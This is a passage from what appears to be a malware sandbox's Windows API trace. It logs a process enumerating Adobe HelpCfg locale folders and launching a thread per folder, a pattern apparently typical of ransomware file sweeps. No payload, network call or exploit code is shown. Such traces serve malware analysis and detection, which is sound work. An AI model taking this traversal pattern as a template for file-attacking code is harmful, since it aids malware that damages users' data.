lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b7f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04 [0126.852] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1 [0126.852] wcscmp (_String1="VVIEWRES.DLL", _String2=".") returned 1 [0126.852] wcscmp (_String1="VVIEWRES.DLL", _String2="..") returned 1 [0126.852] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0xa2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0 [0126.852] FindClose (in: hFindFile=0x1cd9c3d0 | out: hFindFile=0x1cd9c3d0) returned 1 [0126.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0126.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0126.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 Thread: id = 1032 os_tid = 0x16cc [0110.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced95c0 [0110.287] wcscpy (in: _Dest=0x1ced95c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0110.287] wcscat (in: _Dest=0x1ced95c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0110.287] wcscat (in: _Dest=0x1ced95c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*" [0110.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0110.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c430 [0110.291] wcscmp (_String1=".", _String2=".") returned 0 [0110.292] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.292] wcscmp (_String1="..", _String2=".") returned 1 [0110.292] wcscmp (_String1="..", _String2="..") returned 0 [0110.292] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0110.292] wcscmp (_String1="ca_ES", _String2=".") returned 1 [0110.292] wcscmp (_String1="ca_ES", _String2="..") returned 1 [0110.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a140 [0110.292] wcscpy (in: _Dest=0x1b86a140, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0110.292] wcscat (in: _Dest=0x1b86a140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0110.292] wcscat (in: _Dest=0x1b86a140, _Source="ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0127.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0127.126] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0127.126] wcscmp (_String1="cs_CZ", _String2=".") returned 1 [0127.126] wcscmp (_String1="cs_CZ", _String2="..") returned 1 [0127.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868640 [0127.127] wcscpy (in: _Dest=0x1b868640, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.127] wcscat (in: _Dest=0x1b868640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.127] wcscat (in: _Dest=0x1b868640, _Source="cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0127.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0127.127] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0127.128] wcscmp (_String1="da_DK", _String2=".") returned 1 [0127.128] wcscmp (_String1="da_DK", _String2="..") returned 1 [0127.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a0c0 [0127.128] wcscpy (in: _Dest=0x1b86a0c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.128] wcscat (in: _Dest=0x1b86a0c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.128] wcscat (in: _Dest=0x1b86a0c0, _Source="da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0127.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a0c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0127.129] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0127.129] wcscmp (_String1="de_DE", _String2=".") returned 1 [0127.129] wcscmp (_String1="de_DE", _String2="..") returned 1 [0127.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0127.129] wcscpy (in: _Dest=0x1b86a040, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.129] wcscat (in: _Dest=0x1b86a040, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.129] wcscat (in: _Dest=0x1b86a040, _Source="de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0127.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0127.130] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0127.130] wcscmp (_String1="en_US", _String2=".") returned 1 [0127.130] wcscmp (_String1="en_US", _String2="..") returned 1 [0127.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868740 [0127.130] wcscpy (in: _Dest=0x1b868740, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.130] wcscat (in: _Dest=0x1b868740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.130] wcscat (in: _Dest=0x1b868740, _Source="en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0127.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a8 [0127.131] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0127.131] wcscmp (_String1="es_ES", _String2=".") returned 1 [0127.131] wcscmp (_String1="es_ES", _String2="..") returned 1 [0127.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8698c0 [0127.132] wcscpy (in: _Dest=0x1b8698c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.132] wcscat (in: _Dest=0x1b8698c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.132] wcscat (in: _Dest=0x1b8698c0, _Source="es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0127.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8698c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0127.133] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0127.133] wcscmp (_String1="eu_ES", _String2=".") returned 1 [0127.133] wcscmp (_String1="eu_ES", _String2="..") returned 1 [0127.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8685c0 [0127.133] wcscpy (in: _Dest=0x1b8685c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.133] wcscat (in: _Dest=0x1b8685c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.133] wcscat (in: _Dest=0x1b8685c0, _Source="eu_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES" [0127.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8685c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958 [0127.134] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0127.134] wcscmp (_String1="fi_FI", _String2=".") returned 1 [0127.134] wcscmp (_String1="fi_FI", _String2="..") returned 1 [0127.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0127.134] wcscpy (in: _Dest=0x1b8692c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.134] wcscat (in: _Dest=0x1b8692c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.134] wcscat (in: _Dest=0x1b8692c0, _Source="fi_FI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI" [0127.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8692c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a4 [0127.135] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0127.135] wcscmp (_String1="fr_FR", _String2=".") returned 1 [0127.135] wcscmp (_String1="fr_FR", _String2="..") returned 1 [0127.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0127.135] wcscpy (in: _Dest=0x1b869240, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.135] wcscat (in: _Dest=0x1b869240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.135] wcscat (in: _Dest=0x1b869240, _Source="fr_FR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR" [0127.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0127.136] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0127.136] wcscmp (_String1="hr_HR", _String2=".") returned 1 [0127.136] wcscmp (_String1="hr_HR", _String2="..") returned 1 [0127.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868e40 [0127.136] wcscpy (in: _Dest=0x1b868e40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.136] wcscat (in: _Dest=0x1b868e40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.136] wcscat (in: _Dest=0x1b868e40, _Source="hr_HR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR" [0127.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0127.137] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0127.137] wcscmp (_String1="hu_HU", _String2=".") returned 1 [0127.137] wcscmp (_String1="hu_HU", _String2="..") returned 1 [0127.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0127.138] wcscpy (in: _Dest=0x1b868f40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.138] wcscat (in: _Dest=0x1b868f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.138] wcscat (in: _Dest=0x1b868f40, _Source="hu_HU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU" [0127.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b868f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc [0127.138] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0127.138] wcscmp (_String1="it_IT", _String2=".") returned 1 [0127.139] wcscmp (_String1="it_IT", _String2="..") returned 1 [0127.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0127.139] wcscpy (in: _Dest=0x1b869bc0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.139] wcscat (in: _Dest=0x1b869bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.139] wcscat (in: _Dest=0x1b869bc0, _Source="it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0127.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0127.140] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0127.140] wcscmp (_String1="ja_JP", _String2=".") returned 1 [0127.140] wcscmp (_String1="ja_JP", _String2="..") returned 1 [0127.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0127.140] wcscpy (in: _Dest=0x1b869740, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0127.141] wcscat (in: _Dest=0x1b869740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\" [0127.141] wcscat (in: _Dest=0x1b869740, _Source="ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0127.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0127.142] FindNextFileW (in: hFindFile=0x1cd9c430, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0127.142] wcscmp (_String1="ko_KR", _String2=".") returned 1 [0127.142] wcscmp (_String1="ko_KR", _String2="..") returned 1 [0127.142] 